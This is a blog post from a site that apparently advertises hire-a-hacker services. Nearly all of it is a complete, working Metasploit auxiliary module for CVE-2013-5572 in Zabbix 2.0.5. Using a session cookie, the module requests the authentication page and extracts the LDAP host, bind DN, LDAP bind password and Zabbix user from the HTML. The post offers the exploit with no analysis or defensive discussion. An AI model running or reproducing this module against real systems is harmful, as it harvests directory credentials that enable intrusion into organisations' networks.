Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863101805

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit
# Date: 25-09-2013
# Author: Pablo González
# Vendor Homepage: Zabbix -> http://www.zabbix.com 
# Software Link: http://www.zabbix.com 
# Version: 2.0.5
# Tested On: Linux (Ubuntu, Suse, CentOS)
# CVE: CVE-2013-5572 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5572
# More Info: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5572
# 	   http://www.elladodelmal.com/2014/12/como-crear-el-modulo-metasploit-para-el.html
# 	   http://seclists.org/fulldisclosure/2013/Sep/151
#   	   http://www.cvedetails.com/cve/CVE-2013-5572/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ldap_bind_password Zabbix CVE-2013-5572',
      'Description'    => %q{
          Zabbix 2.0.5 allows remote authenticated users to discover the LDAP bind password by leveraging management-console access and reading the ldap_bind_password value in the HTML source code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ '@pablogonzalezpe, Pablo Gonzalez' ]
    ))

    register_options([
      OptString.new('zbx_session', [true, 'Cookie zbx_sessionid']),
	  OptString.new('TARGETURI', [true, 'Path Zabbix Authentication','/zabbix/authentication.php']),
	  OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
    ], self.class)

  end

  def run
    req
  end
  def req
	resp = send_request_cgi(
      {
		'host' => datastore['RHOST'],
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path.to_s),
        'cookie' => "zbx_sessionid=#{datastore['zbx_session']}",
		'content-type' => 'application/x-www-form-urlencoded'
      }, datastore['TIMEOUT'])
	    
	  ldap_host(resp)
	  user_passDomain(resp)
	  user_zabbix(resp)
  end
  
  def ldap_host(response)
	cut = response.body.split("ldap_host\" value=\"")[1]
	if cut != nil
		host = cut.split("\"")[0]
		print_good "LDAP Host => #{host}"
	end
  end
  
  def user_passDomain(response)
	cut = response.body.split("ldap_bind_dn\" value=\"")[1]
	if cut != nil	
		user = cut.split("\"")[0]
		print_good "User Domain? => #{user}"
	end
	cut = response.body.split("name=\"ldap_bind_password\" value=\"")[1]
	if cut != nil
		pass = cut.split("\"")[0]
		print_good "Password Domain? => #{pass}"
	end
  end

  def user_zabbix(response)
	cut = response.body.split("user\" value=\"")[1]
	if cut != nil
		user = cut.split("\"")[0]
		print_good "User Zabbix => #{user}"
	end
  end
end